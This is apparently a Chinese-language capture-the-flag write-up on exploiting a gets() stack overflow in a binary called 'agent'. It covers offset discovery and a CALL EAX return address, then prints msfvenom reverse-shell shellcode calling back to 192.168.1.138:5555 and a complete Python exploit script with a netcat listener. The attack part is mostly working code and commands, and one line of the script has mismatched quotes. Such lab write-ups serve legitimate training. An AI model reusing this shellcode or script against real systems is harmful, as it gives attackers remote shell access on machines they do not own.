本文最后更新于349 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
pwn
获得一个agent 使用scp agent user@192.168.1.138:/tmp 下载到kali
使用ghidra 查看反编译的代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s2; // [esp+8h] [ebp-20h] BYREF
char s[10]; // [esp+Eh] [ebp-1Ah] BYREF
int v6; // [esp+18h] [ebp-10h]
char v7; // [esp+1Fh] [ebp-9h]
setbuf(stdout, 0);
asprintf(&s2, "%i", 48093572);
puts(" ___ __ __ ___ ");
puts(" |_ _| \\/ | __| Agent");
puts(" | || |\\/| | _| Reporting");
puts(" |___|_| |_|_| System\n");
printf("\nAgent ID : ");
if ( !fgets(s, 9, stdin) )
return -1;
if ( !strncmp(s, s2, 8u) )
{
do
v7 = getchar();
while ( v7 != 10 && v7 != -1 );
puts("Login Validated ");
v6 = menu();
switch ( v6 )
{
case 1:
extractionpoints();
break;
case 2:
requestextraction();
break;
case 3:
report();
break;
default:
puts("Exiting...");
break;
}
return 0;
}
else
{
puts("Invalid Agent ID ");
return -2;
}
}
char *report() #存在一个缓冲区溢出的漏洞
{
char s[152]; // [esp+4h] [ebp-A4h] BYREF
char *v2; // [esp+9Ch] [ebp-Ch]
printf("\nEnter report update: ");
gets(s);
printf("Report: %s\n", s);
puts("Submitted for review.");
v2 = s;
return s;
}
gdb agent
r
Agent ID : 输入 48093572
Enter selection: 输入 3
Enter report update: 输入 (此处存在缓冲区溢出)"A"*200
程序报错 显示段错误
eip 被A填充
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x4136641
得到偏移值 168
objdump -DS agent | less -p .text | grep -i call
二进制文件中的操作码“JMP EAX”或“CALL EAX”,注意内存地址并使用该地址覆盖 EIP
objdump 工具来查看一个名为 "agent" 的可执行文件的汇编代码,并通过管道 | 将输出传递给 less 命令来进行分页查看
objdump -DS agent:这部分命令使用 objdump 工具来对名为 "agent" 的可执行文件进行反汇编,并输出反汇编后的汇编代码。参数 -D 表示输出所有节的内容(包括代码和数据),参数 -S 表示同时输出源代码和反汇编代码。
|:这个符号是管道操作符,用来将一个命令的输出传递给另一个命令作为输入。
less -p .text:这部分命令将 objdump 的输出传递给 less 命令,less 是一个用于查看文本文件内容的工具,并使用 -p .text 参数让 less 在打开文件后立即跳转到包含 ".text" 的部分,即程序的代码段。
8048563 实际上 应该是 08048563
用小端方式表示 \x63\x85\x04\x08
shellcode 的生成
命令的作用是生成一个能够在Linux系统上进行反向连接的shell的Payload,并将生成的Payload以Python代码的形式输出,同时排除了一些特定的字符
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.138 lport=5555 -f python -b "\x00\x0a\x0d"
buf = b""
buf += b"\xbf\x36\x24\x01\x95\xdb\xc3\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x12\x83\xe8\xfc\x31\x78\x0e\x03\x4e"
buf += b"\x2a\xe3\x60\x9f\xe9\x14\x69\x8c\x4e\x88\x04\x30"
buf += b"\xd8\xcf\x69\x52\x17\x8f\x19\xc3\x17\xaf\xd0\x73"
buf += b"\x1e\xa9\x13\x1b\x61\xe1\xe5\x51\x09\xf0\xe5\x70"
buf += b"\x79\x7d\x04\xca\x1b\x2e\x96\x79\x57\xcd\x91\x9c"
buf += b"\x5a\x52\xf3\x36\x0b\x7c\x87\xae\xbb\xad\x48\x4c"
buf += b"\x55\x3b\x75\xc2\xf6\xb2\x9b\x52\xf3\x09\xdb"
写利用文件 pwn.py
调试器存在一些缺陷,因此在 gdb 中有效的漏洞在真正的 Linux shell 中可能会失败。发生这种情况是因为环境变量和其他细节可能会导致堆栈的位置发生轻微变化
此问题的通常解决方案是 NOP Sled——一长串“90”字节,在处理时不执行任何操作并继续执行下一条指令。
import socket
import time
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.147', 7788))
client.recv(512)
client.send(bytes("48093572\n", 'utf-8'))
client.recv(512)
client.send(bytes("3\n","utf-8"))
client.recv(512)
buf = b""
buf += b"\xbf\x36\x24\x01\x95\xdb\xc3\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x12\x83\xe8\xfc\x31\x78\x0e\x03\x4e"
buf += b"\x2a\xe3\x60\x9f\xe9\x14\x69\x8c\x4e\x88\x04\x30"
buf += b"\xd8\xcf\x69\x52\x17\x8f\x19\xc3\x17\xaf\xd0\x73"
buf += b"\x1e\xa9\x13\x1b\x61\xe1\xe5\x51\x09\xf0\xe5\x70"
buf += b"\x79\x7d\x04\xca\x1b\x2e\x96\x79\x57\xcd\x91\x9c"
buf += b"\x5a\x52\xf3\x36\x0b\x7c\x87\xae\xbb\xad\x48\x4c"
buf += b"\x55\x3b\x75\xc2\xf6\xb2\x9b\x52\xf3\x09\xdb"
eip=b'\x63\x85\x04\x08"
a=b'\x41'*(168-len(buf))
b=b'\x41'*(200-len(buf)-len(a)-len(eip))
client.send(buf+a+eip+b'\n')
nc -lvp 5555
python3 pwn.py